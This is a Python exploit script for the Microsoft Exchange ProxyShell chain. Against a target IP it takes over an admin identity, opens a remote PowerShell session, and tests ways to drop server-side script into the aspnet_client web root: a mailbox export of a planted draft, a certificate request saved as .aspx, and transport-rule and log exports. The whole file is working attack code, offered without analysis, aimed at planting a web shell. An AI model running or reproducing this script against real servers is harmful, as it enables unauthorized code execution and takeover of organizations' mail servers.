#!/usr/bin/env python3
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]
    except Exception as ex: return None, str(ex)

def createitem(sidv, subj, b64, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">x</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, b64, mail)

# 1) raw payload -> .txt dump
raw = '<script language="JScript" runat="server">Response.Write("MKTAG");</script>'
subj = "D" + P.rand_string(6)
ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, base64.b64encode(raw.encode()).decode(), ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
time.sleep(2)
for st in ('Completed','Failed','InProgress'):
    try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
    except Exception: pass
nm = "d" + P.rand_string(5) + ".txt"
run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s"' % (ps.email, subj, nm))
time.sleep(12)
try:
    r = requests.get(f"https://{ip}/aspnet_client/{nm}", verify=False, timeout=20)
    print("RAWDUMP code", r.status_code, "len", len(r.content), "has<script>", b'<script' in r.content, "hasMKTAG", b'MKTAG' in r.content)
    i = r.content.find(b'MKTAG')
    print("  ctx:", repr(r.content[max(0,i-40):i+40]) if i>=0 else "not found")
except Exception as e: print("rawdump err", e)

# 2) CSR write AS .aspx and fetch
run('New-ExchangeCertificate -GenerateRequest -RequestFile "C:\\inetpub\\wwwroot\\aspnet_client\\csr.aspx" -SubjectName "CN=<script>zz</script>" -DomainName test.com -PrivateKeyExportable:$true')
for ext in ("csr.aspx",):
    try:
        r = requests.get(f"https://{ip}/aspnet_client/{ext}", verify=False, timeout=20)
        print("CSR.aspx code", r.status_code, "len", len(r.content), "head", repr(r.content[:60]))
    except Exception as e: print("csr fetch err", e)

# 3) test Export-TransportRuleCollection alt param + others that write files
run('Export-TransportRuleCollection -Identity "C:\\inetpub\\wwwroot\\aspnet_client\\tr2.xml"')
run('Export-ActiveSyncLog -FileName "C:\\inetpub\\wwwroot\\aspnet_client\\aslog.csv"')
for ext in ("tr2.xml","aslog.csv"):
    try:
        r = requests.get(f"https://{ip}/aspnet_client/{ext}", verify=False, timeout=15)
        print("EXTRA", ext, r.status_code, repr(r.content[:60]))
    except Exception as e: print("EXTRA", ext, "err", str(e)[:50])
try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
except Exception: pass